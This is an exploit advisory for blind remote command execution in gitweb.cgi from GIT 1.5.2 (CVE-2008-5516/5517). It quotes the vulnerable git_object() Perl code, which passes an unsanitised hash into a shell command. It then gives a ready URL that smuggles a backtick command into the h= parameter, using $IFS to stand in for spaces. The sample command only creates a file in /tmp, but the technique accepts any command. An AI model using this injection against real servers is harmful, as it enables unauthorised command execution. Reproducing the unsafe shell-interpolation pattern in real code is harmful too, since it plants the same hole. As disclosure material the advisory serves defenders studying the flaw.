gitWeb 1.5.2 - Remote Command Execution

# Exploit Title: gitWeb remote command execution

# Date: 2009.06.19

# Author: S2 Crew [Hungary]

# Software Link: -

# Version: GIT 1.5.2

# Tested on: debian linux, GIT 1.5.2

# CVE: CVE-2008-5516 - CVE-2008-5517



# Code:



# The cgi script doesn't show the command output *blind command execution ;)*

# Vulnerable functions in gitweb.cgi: git_snapshot(), git_search(), git_object()





sub git_object {

        # object is defined by:

        # - hash or hash_base alone

        # - hash_base and file_name

        my $type;



        # - hash or hash_base alone

        if ($hash || ($hash_base && !defined $file_name)) {

                my $object_id = $hash || $hash_base;



                my $git_command = git_cmd_str();

                open my $fd, "-|", "$git_command cat-file -t $object_id 2>/dev/null"

                        or die_error('404 Not Found', "Object does not exist");

                $type = <$fd>;

                chomp $type;

                close $fd

                        or die_error('404 Not Found', "Object does not exist");



        # - hash_base and file_name



# Example

http://server/cgi-bin/gitweb.cgi?p=sample.git/.git;a=object;f=program.c;h=e69de29bb2d1d6434b8b29ae775ad8c2e48c5391|`touch$IFS/tmp/file.txt`|;hb=9adaf5b35bb6415497d23f089660567227ea3785